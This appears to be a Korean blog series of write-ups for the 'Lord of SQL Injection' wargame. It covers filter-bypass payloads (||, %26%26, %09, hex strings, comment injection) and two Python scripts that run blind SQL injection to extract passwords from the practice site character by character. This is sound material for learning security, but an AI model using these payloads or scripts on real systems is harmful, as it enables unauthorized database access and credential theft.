이번에는 id만 체크하는데 preg_match와 ereg라는 문자열 매칭 함수가 있다. preg_match는 대소문자를 구분하고  i를 붙여주면 대소문자를 구분없이 매칭된다. ereg는 대소문자 구분을 하기 때문에 한글자라도 대문자를 써주면 다른 문자열로 인식해서 함수를 우회할 수 있다. 그리고 데이터베이스의 charset에 따라서 대소문자 구분의 여부가 달라진다. 



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

10.los skelleton  (0) 2018.03.22
09.los vampire  (0) 2018.03.22
07.los orge  (0) 2018.03.21
06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21


역시 pw를 알아내야하는 블라인드 인젝션문제이다. 이전의 블라인드 인젝션 문제와 다른점이 있다면,

or과 and에 필터링이 걸려 있다는 것. and같은 경우에는 url안에서 &기호 대신에 url인코딩에 따라 url에 %26으로 입력해 줘야한다.


or필터링 우회 : ||

and필터링 우회 : %26%26(&&)



아래의 그림과 같이 and를 %26%26으로 입력해준 후 length(pw)='@ <--임의의 숫자를 대입해봄

pw는 8자리라는 것을 알 수 있었다.




아래와 같이 substr()함수를 이용해서 임의의 값을 넣어 한자리씩 총 8자리의 pw를 알아내면 된다.





import urllib2 



headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=4uocr6djjqvf1pi7bsgemnha36'} 

result=[]

for j in range(1,2):

for i in range(48,123):

urL="http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))

request = urllib2.Request(urL, None, headers) 

response = urllib2.urlopen(request) 

res=response.read(160)

if "Hello admin" in res:

result+=str(chr(i))


print result


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

09.los vampire  (0) 2018.03.22
08.los troll  (0) 2018.03.22
06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21





이번 문제는 preg_match에서 or과 and를 필터링하는 모습이다. or과 and는 각각 ||와 &&로 필터링을 피해갈 수 있다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

08.los troll  (0) 2018.03.22
07.los orge  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21
03.los goblin  (0) 2018.03.21


preg_match에서 공백을 필터링하고 있다. 그래서 간단하게 공백으로빼고 ||로 이어주었다.

이 외의 방법으로 공백이 필터링 되어있을 때 대신할 수 있는 것은 

1. TAB :  %09

2. \n : %0a

3. \r : %0d

등.. 으로 필터링을 우회한다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

07.los orge  (0) 2018.03.21
06.los darkelf  (0) 2018.03.21
04.los orc  (0) 2018.03.21
03.los goblin  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20



$result['pw'] == $_GET['pw']조건을 만족시켜야 이번 문제를 풀 수 있다.

 pw를 알아내야 하기때문에 블라인드 인젝션문제이다.



1.패스워드의 길이를 알기위해 length(pw)= '@<-에 숫자를 무작위로 대입해본다. 8글자 라는 것을 알게 되었고






2.substr()을 이용해서 한글자씩 비교를 해본다. 비교하는 문자가 동일할 시 Hello admin이 출력된다.

수작업대신 스크립트를 돌리는 방법을 추천한다. 





import urllib2 



headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID='} 

result=[]

for j in range(1,9):

for i in range(48,123):

urL="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))

request = urllib2.Request(urL, None, headers) 

response = urllib2.urlopen(request) 

res=response.read(160)

if "Hello admin" in res:

result+=str(chr(i))

print result




패스워드는 8자리이지만 D와 d가 대소문자 구분없이 인식하기 때문에 for문을 돌면서 대문자와 소문자에서 모두 Hello admin이 출력되기 때문에 9자리가 나온다. 둘중 아무거나 4번째 자리에 넣어주면 된다.  

8자리를 모두 알아내면 pw는 295d5844이고 대입하면 clear이다.



los_orc1.py




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
03.los goblin  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20
01.los gremlin  (0) 2018.03.20


이번 문제에 추가된 것은 preg_match에 ' | " | ` 의 필터링이 추가되었다는 점이다.

쿼리의 id는 guest로 고정되어있고 id='admin'이 되어야 한다.

''가 없이 문자를 쓰면 문자열로 인식되지않아 문제를 풀 수 없다. admin에 해당하는 hex값을 넣어주면 문자열로 받게된다.

admin의 헥스값은 0x61646d696e이다.





'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20
01.los gremlin  (0) 2018.03.20


1번 문제인 gremlin과의 차이점이라면 result['id']가 'admin'과 일치해야한다는 점과 md5로 패스워드가 암호화 된다는 점이다.

php의 if문에서 id값만 체크하기 때문에 pw에는 어떤 값이 들어가도 상관없다.

어떻게 하면 md5를 우회할 수 있을까?




먼저 첫번째 방법은 or을 이용해서 맨뒤에 admin을 추가하는 방법이다. 

query : select id from prob_cobolt where id='' and pw=md5('') || id=('admin')

위의 쿼리문이 아래의 쿼리문과 같이 변형되서 보여짐↓       




두번째 방법은 주석처리 =  # : %23

or 뒤에 id = 'admin을 추가하고 불필요한 부분을 주석처리해준다.




세번째 방법은 id='admin'을 만들어주고 or '1 을 넣어 where이 항상 참이 되게 한다.




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21
03.los goblin  (0) 2018.03.21
01.los gremlin  (0) 2018.03.20

los의 첫번째 문제이름은 gremlin이다. 

PHP(Hypertext Preprocessor 하이퍼텍스트 프리프로세서)에 대해서 먼저 알아보자. PHP는 프로그래밍 언어의 일종이다. 원래는 동적 웹 페이지를 만들기 위해 설계되었으며 이를 구현하기 위해 PHP로 작성된 코드를 HTML 소스 문서 안에 넣으면 PHP 처리 기능이 있는 웹 서버에서 해당 코드를 인식하여 작성자가 원하는 웹 페이지를 생성한다. 

include "./config.php";는 외부의 php파일을 코드로 불러와서 사용할 수 있게 한다.

login_chk();함수와 dbconnect()함수는 config.php안에 정의된 함수로 보인다.

preg_match는 $pattern에 주어진 정규표현식을 $subject에서 찾는다.  즉, "prob", "_", "()"만 거른다.


id={$_GET[id]}, pw={$_GET[pw]}과 같은 형식으로 id와 pw를 파라미터로 받아들인다.


id=oiehso0&pw=1'or'1=1을 넣으면 쿼리문의 where절은 참이 된다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21
03.los goblin  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20

+ Recent posts